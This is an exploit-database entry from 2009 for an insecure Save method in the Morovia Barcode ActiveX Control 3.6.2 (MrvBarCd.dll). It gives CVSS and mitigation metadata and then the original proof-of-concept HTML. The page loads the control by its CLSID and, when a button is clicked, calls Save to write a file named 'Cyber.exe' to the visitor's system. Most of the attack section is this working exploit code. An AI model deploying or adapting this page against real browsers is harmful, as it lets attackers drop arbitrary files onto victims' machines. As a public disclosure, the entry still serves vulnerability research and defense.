Morovia Barcode ActiveX Control 3.6.2 (MrvBarCd.dll) Insecure Method Exploit

vendor:

Barcode ActiveX Control

by:

Cyber-Zone

7.5

CVSS

HIGH

Insecure Method

CWE

Product Name: Barcode ActiveX Control

Affected Version From: 3.6.2002

Affected Version To: 3.6.2002

Patch Exists: Yes

Related CWE: N/A

CPE: a:morovia:barcode_activex_control

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2009

Morovia Barcode ActiveX Control 3.6.2 (MrvBarCd.dll) Insecure Method Exploit

There is an insecure method in the (Save) function of Morovia Barcode ActiveX Control 3.6.2 (MrvBarCd.dll). The exploit can be triggered by clicking a button which calls the Save function and saves a malicious file to the system.

Mitigation:

Update to the latest version of Morovia Barcode ActiveX Control.

Source

Exploit-DB raw data:

<HTML>
Morovia Barcode ActiveX Control 3.6.2 (MrvBarCd.dll) Insecure Method Exploit<br>
<br>
 Description There is Insecure Method in (Save) fonction<br>
Download Product : http://download.morovia.com/demo/MrvBarCd_Demo_V3.4.0.0.msi<br>
Found By : Cyber-Zone<br>
Tested Under : sp2 fr <br>
E-mail : Paradis_des_fous@hotmail.fr<br>
Home : WwW.IQ-Ty.CoM , WwW.No-Exploit.CoM<br>
SP thnx To : Hussin X , Jiko ( Che7ta4Ever My Best Friend ) No-Exploit TeaM , StaCk ( Thanx4Help ) ...All Mgharba ...
<!--
Report for Clsid: {18B409DA-241A-4BD8-AC69-B5D547D5B141}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  
-->

<title>Exploited By : Cyber-Zone </title>
<BODY>
 <object id=cyber classid="clsid:{18B409DA-241A-4BD8-AC69-B5D547D5B141}"></object>

<SCRIPT>

function Do_it()
 {
     File = "Cyber.exe"
   cyber.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML>

# milw0rm.com [2009-03-13]